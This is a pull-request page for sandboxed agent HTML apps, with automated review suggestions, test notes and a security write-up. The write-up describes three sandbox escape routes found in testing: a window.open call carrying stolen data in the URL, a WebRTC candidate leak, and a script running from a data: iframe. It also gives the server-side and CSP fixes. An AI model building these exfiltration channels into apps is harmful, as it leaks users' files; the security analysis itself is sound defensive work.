grant is seeded once from the grant store and is never cleared afterwards. dir is derived from path, and HtmlBody in renderers.tsx renders HtmlAppBody without a key, so selecting another HTML file only changes the props. DriveExplorer also keeps htmlView === "run" across selections.
Trigger: the user grants read-write for folder A, keeps Run selected, then opens an HTML file in folder B that has no stored grant.
Result: pickView("run") opens the sheet, but it does not clear view or grant. The host effect at lines 223-244 still runs with the new dir and the old grant, so RunView mounts at line 323 and getScopeToken mints a folder-B token at read-write. The app in folder B writes files before the user answers for that folder.
Clear the grant when the app identity changes.
🔧 Proposed fix
const [grant, setGrant] = useState<GrantLevel | null>(
() => (mountId ? grants.get(mountId, dir)?.level : null) ?? null,
)
+ // A different mount or app dir is a different app: never carry the previous answer over.
+ useEffect(() => {
+ setGrant((mountId ? grants.get(mountId, dir)?.level : null) ?? null)
+ setSheetOpen(false)
+ }, [mountId, dir, grants])📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| const [grant, setGrant] = useState<GrantLevel | null>( | |
| () => (mountId ? grants.get(mountId, dir)?.level : null) ?? null, | |
| ) | |
| const [grant, setGrant] = useState<GrantLevel | null>( | |
| () => (mountId ? grants.get(mountId, dir)?.level : null) ?? null, | |
| ) | |
| // A different mount or app dir is a different app: never carry the previous answer over. | |
| useEffect(() => { | |
| setGrant((mountId ? grants.get(mountId, dir)?.level : null) ?? null) | |
| setSheetOpen(false) | |
| }, [mountId, dir, grants]) |
The key was added from the review without a test, and a browser check of the plain case proved nothing: swapping the entry re-renders either way, because the content prop changes with it. The defect needs the view to be somewhere else first. An app that navigated to a sub-page holds `currentPath` there, and swapping the entry underneath it left that pointing at the previous app's page — so the reader picked a different app and kept reading the old one's sub-page under the new app's name. This drives the host's `nav` callback to move the view off the entry, then swaps the entry, and asserts the old app's sub-page is not fetched again. It fails with the key removed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
Correction and a fuller acceptance run. My previous comment said the RunView key was verified only by unit test and a React remount argument. That was not good enough, and one part of it was wrong. The RunView key: my first check was testing the wrong thingI originally claimed the key fixed a visible regression. When I actually built the control — same build, key removed — swapping the entry file behaved identically with and without it. A plain swap re-renders either way, because The defect needs the view to be somewhere else first. An app that has navigated to a sub-page holds Verified both ways now. In the browser, with an app that navigates to a sibling on load: As a test ( Acceptance, re-run on this branch
Not reachable from this harnessSteps 4, 6, 7, 11 and 12 all need a click or a theme change observed inside the app. The Run iframe is What is covered for those paths instead: the conditional-write round trip against the live API ( Step 14 is blocked on unbuilt work, and it is worse than "no hook"An agent asked for a board replies that it has no
16 — Storybook builds and the stories are present; the a11y runner and VRT were not run. |
There was a problem hiding this comment.
Actionable comments posted: 5
🧹 Nitpick comments (1)
web/packages/agenta-entities/src/drive/htmlApp/scopeToken.ts (1)
57-64: 🚀 Performance & Scalability | 🔵 Trivial | ⚡ Quick winCache failed scope-token mints for a short period.
getScopeTokencaches successful tokens only. The in-flight entry is removed after the mint completes, including after failure. Therefore, each later filesystem operation can issue another failing mint for the same mount, directory, and level. This adds a failing network request before every file operation during an endpoint outage or deployment mismatch.Add a short-lived negative cache and clear it in
clearScopeTokens.♻️ Suggested refactor
const cache = new Map<string, CachedToken>() const inflight = new Map<string, Promise<string | null>>() +const failures = new Map<string, number>() +const MINT_RETRY_MS = 60_000export function clearScopeTokens(): void { cache.clear() inflight.clear() + failures.clear() }} catch { // A deployment that has not shipped the endpoint, or a transient failure. The app runs // unscoped, exactly as it did before the token existed; it must not be blocked on this. + failures.set(cacheKey(mountId, dir, level), Date.now()) return null }const cached = cache.get(key) if (cached && cached.expiresAt - REFRESH_MARGIN_MS > Date.now()) return cached.token + + const failedAt = failures.get(key) + if (failedAt !== undefined && Date.now() - failedAt < MINT_RETRY_MS) return null // Collapse a burst of parallel fs calls onto one mint.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Repository YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Advanced
Run ID: 1130ff1c-c821-4129-a812-bd9f933cf953
⛔ Files ignored due to path filters (9)
web/packages/agenta-api-client/src/generated/api/resources/mounts/client/Client.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/AppScopeRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/DeleteMountFileRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/GetMountFilesRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/WriteMountFileRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/index.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/AppScopeResponse.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/MountFileWrittenResponse.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/index.tsis excluded by!**/generated/**
📒 Files selected for processing (107)
api/entrypoints/routers.pyapi/oss/src/apis/fastapi/mounts/models.pyapi/oss/src/apis/fastapi/mounts/router.pyapi/oss/src/apis/fastapi/tools/router.pyapi/oss/src/core/apps/__init__.pyapi/oss/src/core/apps/assembly.pyapi/oss/src/core/apps/handlers.pyapi/oss/src/core/apps/scope_token.pyapi/oss/src/core/apps/service.pyapi/oss/src/core/apps/skill/SKILL.mdapi/oss/src/core/apps/skill/sections/01-when.mdapi/oss/src/core/apps/skill/sections/02-first.mdapi/oss/src/core/apps/skill/sections/03-folder.mdapi/oss/src/core/apps/skill/sections/04-bridge.mdapi/oss/src/core/apps/skill/sections/05-custom-rules.mdapi/oss/src/core/apps/skill/sections/06-starters.mdapi/oss/src/core/apps/skill/sections/07-after.mdapi/oss/src/core/apps/skill/sections/08-agent-level.mdapi/oss/src/core/apps/starters/board@1/SKILL.mdapi/oss/src/core/apps/starters/board@1/app.jsonapi/oss/src/core/apps/starters/board@1/config.defaults.jsonapi/oss/src/core/apps/starters/board@1/index.htmlapi/oss/src/core/mounts/dtos.pyapi/oss/src/core/mounts/service.pyapi/oss/src/core/mounts/types.pyapi/oss/src/core/store/dtos.pyapi/oss/src/core/store/storage.pyapi/oss/src/core/store/types.pyapi/oss/src/core/tools/platform_handlers.pyapi/oss/src/core/workflows/build_kit.pyapi/oss/src/core/workflows/static_catalog.pyapi/oss/tests/pytest/unit/applications/test_build_kit_overlay.pyapi/oss/tests/pytest/unit/apps/__init__.pyapi/oss/tests/pytest/unit/apps/conftest.pyapi/oss/tests/pytest/unit/apps/test_create_app.pyapi/oss/tests/pytest/unit/apps/test_list_starters.pyapi/oss/tests/pytest/unit/apps/test_op_catalog_parity.pyapi/oss/tests/pytest/unit/apps/test_scope_token.pyapi/oss/tests/pytest/unit/apps/test_skill_assembly.pyapi/oss/tests/pytest/unit/apps/test_starter_manifest.pyapi/oss/tests/pytest/unit/mounts/test_mount_file_conditional_routes.pyapi/oss/tests/pytest/unit/mounts/test_protected_mount_policy.pyapi/oss/tests/pytest/unit/mounts/test_store_conditional_ops.pyapi/oss/tests/pytest/unit/skills/test_registry_listing.pyapi/oss/tests/pytest/unit/test_mounts_file_ops.pyapi/oss/tests/pytest/unit/workflows/test_static_catalog.pydocs/design/agent-html-apps/contracts.mdsdks/python/agenta/sdk/agents/platform/op_catalog.pysdks/python/agenta/sdk/agents/platform_instructions.pysdks/python/oss/tests/pytest/unit/agents/golden/run_request.gateway_connection.jsonsdks/python/oss/tests/pytest/unit/agents/platform/test_op_catalog.pysdks/python/oss/tests/pytest/unit/agents/test_platform_instructions.pyweb/mobile/src/features/settings/PreferencesTab.tsxweb/oss/src/components/pages/settings/Preferences/Preferences.tsxweb/packages/agenta-entities/src/drive/htmlApp/etags.tsweb/packages/agenta-entities/src/drive/htmlApp/fsClient.tsweb/packages/agenta-entities/src/drive/htmlApp/grants.tsweb/packages/agenta-entities/src/drive/htmlApp/host.tsweb/packages/agenta-entities/src/drive/htmlApp/index.tsweb/packages/agenta-entities/src/drive/htmlApp/manifest.tsweb/packages/agenta-entities/src/drive/htmlApp/mockHost.tsweb/packages/agenta-entities/src/drive/htmlApp/protocol.tsweb/packages/agenta-entities/src/drive/htmlApp/scope.tsweb/packages/agenta-entities/src/drive/htmlApp/scopeToken.tsweb/packages/agenta-entities/src/drive/htmlApp/stub.tsweb/packages/agenta-entities/src/drive/index.tsweb/packages/agenta-entities/tests/unit/htmlApp.egress.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.etags.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.fsClient.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.grants.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.host.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.manifest.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.mockHost.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.scope.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.scopeToken.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.stub.test.tsweb/packages/agenta-entity-ui/package.jsonweb/packages/agenta-entity-ui/scripts/sync-kit-css.mjsweb/packages/agenta-entity-ui/src/drive/DriveExplorer.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/GrantSheet.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/HtmlAppBody.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/RunView.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/assemble.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/index.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/agenta-app.cssweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/index.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/kitCss.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/tokens.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/useAppManifest.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/useChangedHint.tsweb/packages/agenta-entity-ui/src/drive/index.tsweb/packages/agenta-entity-ui/src/drive/renderers.tsxweb/packages/agenta-entity-ui/tests/unit/htmlApp.assemble.test.tsweb/packages/agenta-entity-ui/tests/unit/htmlApp.entrySwap.test.tsxweb/packages/agenta-entity-ui/tests/unit/htmlApp.grantEscalation.test.tsxweb/packages/agenta-entity-ui/tests/unit/htmlApp.kit.test.tsweb/packages/agenta-shared/src/state/featureFlags.tsweb/packages/agenta-shared/src/state/index.tsweb/storybook/fixtures/boardStarter.tsweb/storybook/fixtures/htmlApp.tsweb/storybook/raw.d.tsweb/storybook/stories/entity-ui/htmlApp/BoardStarter.stories.tsxweb/storybook/stories/entity-ui/htmlApp/GrantSheet.stories.tsxweb/storybook/stories/entity-ui/htmlApp/HtmlApp.mdxweb/storybook/stories/entity-ui/htmlApp/HtmlAppBody.stories.tsxweb/storybook/stories/entity-ui/htmlApp/Kit.stories.tsxweb/storybook/stories/entity-ui/htmlApp/RunView.stories.tsx
💤 Files with no reviewable changes (1)
- api/oss/tests/pytest/unit/apps/init.py
🚧 Files skipped from review as they are similar to previous changes (3)
- web/storybook/stories/entity-ui/htmlApp/HtmlApp.mdx
- api/oss/src/core/apps/init.py
- api/oss/src/core/apps/skill/sections/02-first.md
Included review availability: Your plan provides up to 8 included reviews per hour; 7 remain after this review.
| mount_id=mount.id, | ||
| starter=str(parsed.get("starter") or ""), | ||
| dir=str(parsed.get("dir") or ""), | ||
| update=bool(parsed.get("update") or False), |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win
Reject non-boolean update values.
bool(parsed.get("update") or False) converts every non-empty string to True. For example, "update": "false" enables update mode. An invalid tool call can then overwrite template files in an existing app instead of returning an argument error.
Validate the handler arguments with a typed model, or require isinstance(update, bool) before calling AppsService.create_app().
| if file.name == APP_MANIFEST_FILENAME: | ||
| text = _stamp_template(text, template) | ||
| await put(file.name, text) |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win
Write app.json only after the app files succeed.
The sorted loop writes app.json before index.html and the default configuration. If a later write fails, the folder contains a valid manifest for an incomplete app. A normal retry then returns app_exists.
Hold the stamped manifest separately. Write the entry and configuration files first. Publish app.json last as the app completion marker.
| # other rules alone. Never rename it: an old rule under a stale id would linger forever. | ||
| _RETENTION_RULE_ID = "agenta-noncurrent-version-expiration" | ||
|
|
||
| _NOT_FOUND_CODES = ("NoSuchKey", "NoSuchObject", "NoSuchBucket") |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
Do not classify a missing bucket as a missing file.
_NOT_FOUND_CODES includes NoSuchBucket. Reads and stats therefore translate an absent bucket into MountFileNotFound. A conditional PUT also reports HTTP 412 because _current_etag() converts the absent bucket to None.
This hides a storage outage behind incorrect file and conflict responses. Handle NoSuchBucket as MountStorageUnavailable. Reserve the not-found tuple for object-level codes.
| the cached etag) and retry. `force: true` on the request skips the header and overwrites. A path | ||
| the app has never read is written unconditionally. `externalWrite` on the mock is how a test or |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Correct the first-write rule; it states the pre-fix behaviour.
Line 76 says a path the app has never read is written unconditionally. The host now sends If-None-Match: * in that case: host.ts computes ifNoneMatch = req.force !== true && ifMatch === undefined, and htmlApp.fsClient.test.ts pins the header. A first write to an existing path therefore returns conflict, not success.
Update this paragraph so the bridge section agrees with the API deltas section, which already documents If-None-Match: *.
📝 Proposed wording
-`force: true` on the request skips the header and overwrites. A path
-the app has never read is written unconditionally. `externalWrite` on the mock is how a test or
+`force: true` on the request skips both headers and overwrites. A path
+the app has never read is written create-only (`If-None-Match: *`), so a path another session
+already created comes back as `conflict` instead of being overwritten. `externalWrite` on the mock is how a test or📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| the cached etag) and retry. `force: true` on the request skips the header and overwrites. A path | |
| the app has never read is written unconditionally. `externalWrite` on the mock is how a test or | |
| the cached etag) and retry. `force: true` on the request skips both headers and overwrites. A path | |
| the app has never read is written create-only (`If-None-Match: *`), so a path another session | |
| already created comes back as `conflict` instead of being overwritten. `externalWrite` on the mock is how a test or |
| useEffect(() => { | ||
| if (!controlledView) return | ||
| pickView(controlledView === "run" && runnable ? "run" : "preview") | ||
| }, [controlledView, runnable, pickView]) |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Wait for the manifest before Run opens the grant sheet.
useAppManifest exposes loaded, but this component reads only manifest. When the Files pane toolbar selects Run, HtmlAppBody mounts with controlledView === "run" and this effect runs before the app.json fetch resolves. requestedAccess is then "read".
Result: an app whose manifest asks for read-write gets a sheet that preselects "Read files", the stored asked becomes read, and the user is prompted a second time once the manifest lands.
Gate the Run transition on loaded.
🔧 Proposed fix
- const {manifest} = useAppManifest(runnable ? io : null, dir)
+ const {manifest, loaded: manifestLoaded} = useAppManifest(runnable ? io : null, dir) // Host-owned tabs: follow the host's view; Run still goes through the grant.
useEffect(() => {
if (!controlledView) return
- pickView(controlledView === "run" && runnable ? "run" : "preview")
- }, [controlledView, runnable, pickView])
+ // The manifest carries `access`: asking before it lands would offer the wrong level.
+ if (controlledView === "run" && runnable && !manifestLoaded) return
+ pickView(controlledView === "run" && runnable ? "run" : "preview")
+ }, [controlledView, runnable, manifestLoaded, pickView])
|
Watch the flyover → · 2:41 · 4 chapters · 116 files An animated walkthrough of this diff: the shape of the change, what it adds, how the new pieces connect, and where the risk sits. This flyover is shared with the repo maintainer @mmabrouk's permission. Please don't mark it as spam. If you are not satisfied with the generated content, we'd greatly appreciate any feedback in the comments instead. 79936b3 · comment /flyover to refresh this for the latest commits · flyovers |
2 participants
Context
An agent can already write an HTML file into its drive, but the drive could only show it: a static Preview and the Source. Anything the person was meant to touch (a board, a checklist, a queue) rendered as a dead page, and nothing the page did could survive a reload, because the page had no way to read or write the files next to it.
This is phase 1 of agent HTML apps: an app folder in the agent's drive runs in a sandboxed iframe, and the page talks to its own folder through a
window.agentabridge. Everything is behind theagent-appsflag, off by default.Changes
A third tab on HTML files. The drive's HTML viewer gains
Runnext toPreviewandSource, shown only when the flag is on. Choosing it asks for a grant (read, or read and write) scoped to that one folder, then renders the folder's entry file on the bridge host.The bridge. The host posts a
hellowith a transferredMessagePort; after that the iframe talks over the port only.window.agenta.fsoffersread,readJSON,write,writeJSON,list,exists,statandremove. The write methods need the read-write grant. The host also pushesvisibility,theme(so an app recolours on a theme switch without a reload) andchangedwhen files move under the app's feet.Conditional writes on mount files. Mount file reads now return an
etag, andPUT/DELETEacceptIf-Match. A stale precondition fails with412and hands back the current etag, so the bridge retries rather than clobbering:That precondition lives on the mounts API, not on apps, so every drive writer gets it.
create_appandlist_starters. Two platform ops let the agent copy a starter intoapps/<slug>/rather than hand-writing a page. One starter ships in this PR (board@1). An agent can keep its own starters inagent-files/.apps/starters/, referenced asagent:<name>.The
agenta-appsskill. Assembled from sections and attached to the build kit by default, so an agent knows when an app is the right answer, what the folder looks like, and how the bridge behaves.An app folder is
app.json(theagenta_app: 1manifest: name, entry, access, data files, config) plus the entry page and its data as sibling JSON. One writer per file: the agent owns config, the app owns its data.The folder is a server boundary, which reverses what this PR first claimed
This PR originally said the server bounds the mount while folder scope is a frontend guardrail, and the design docs said so too. That rested on one assumption: an app has no way to get data out, so a bug in the parent's path check could not be turned into theft. The assumption was tested and failed three times.
navigate-tonever shipped in any browser, so no CSP value blockswindow.open. Withallow-popupsan app calledwindow.open("https://…?d=" + stolen)inside a click it already handled. The request arrived at a listening server with the data.srflxcandidate from inside the same sandbox while every HTTP channel was blocked.webrtc 'block'in a meta policy did nothing.data:iframe in Preview. The preview assembler strips<script>,on*,javascript:andiframe[srcdoc], and that stripping was treated as the reason Preview could keep its popup flags. It never covered<iframe src="data:text/html,…">, whose nested context inheritsallow-scriptsand ran a script after the outer document had none left. Preview injected no CSP at all, so it couldfetchanywhere.Each was found by thinking of one more exit. Enumerating exits against a browser does not terminate, so the folder rule moved onto the server:
api/oss/src/core/apps/scope_token.pymints a prefix-scoped HMAC token; the mounts router checks it on every file call. It only narrows, so a request without one is an ordinary drive call and the Files pane is untouched.allow-scripts allow-forms, withform-action 'none'named explicitly because it does not inherit fromdefault-src.PREVIEW_CSPdenies the capability rather than lengthening a strip list:frame-srcandobject-src 'none'close the nested contexts (<object data>and<embed>execute the same way), anddefault-src 'none'coversconnect-src.Two smaller holes closed alongside: a grant recorded at
readno longer silently covers a manifest that later asks forread-write, and the Run assembler confines<link>,<img>and<script src>to the app folder, because markup could path-climb where thefsbridge always refused.The bridge write also moved off a raw
axios.putand onto the generated client. The blocker was that the generatedwriteMountFilecarried no body; the endpoint now declares its raw body throughopenapi_extraand the client was regenerated (#6981).Tests
api/oss/tests/pytest/unit/apps: 84 passed, including 26 for the scope token (signature, expiry, prefix normalisation, level).@agenta/entities: 1927 passed.@agenta/entity-ui: 832 passed. Both suites green after the preview CSP change.oss,eeandmobiletypes:checkare clean.allow-popupsor dropping the WebRTC removal fails a test rather than silently reopening a channel.Verified in a real browser, not only in tests. The full scope-token loop was driven through the running app on the EE dev stack: mint under cookie auth
200; in-folder read200; out-of-folder read with the token403 scope; the same read without a token200, which is what proves the token only narrows; a tampered signature403 bad signature. A temporary log insideenforce()confirmed the header rides on the app's own reads rather than only on hand-made ones.The earlier 16-step acceptance script was run on
/m: 10 pass, 6 not run. The per-step table is in the first comment. The three steps that need a live agent turn are still not covered, and the desktop host was exercised only for the scope-token run above.What to QA
Turn on Settings › Preferences › Agent apps first. You need an agent whose drive has an app folder; ask the agent for a board, or copy
board@1intoapps/<slug>/.Preview | Source | Run. With the flag off, onlyPreview | Source.Runin a folder with anapp.jsonthat saysread-write. The grant sheet offers write, preselected. A viewer-role member does not see the write option.board.jsonand the strip readsRunning · read + write · <dir>.read_only.../somethingoutside its folder is refused, and the refusal reaches the app asscope.<iframe>no longer renders that frame. Run never could, because its CSP has always fallen back todefault-src 'none'for frames, so this makes Preview match Run. Nothing in the drive templates embeds one.Docs
The design documents are on #6983, committed rather than left untracked.
docs/design/agent-html-apps/contracts.mdon this branch carries the bridge contract and an egress section that names all three exits and why the list is a record of what is closed rather than proof that nothing is open.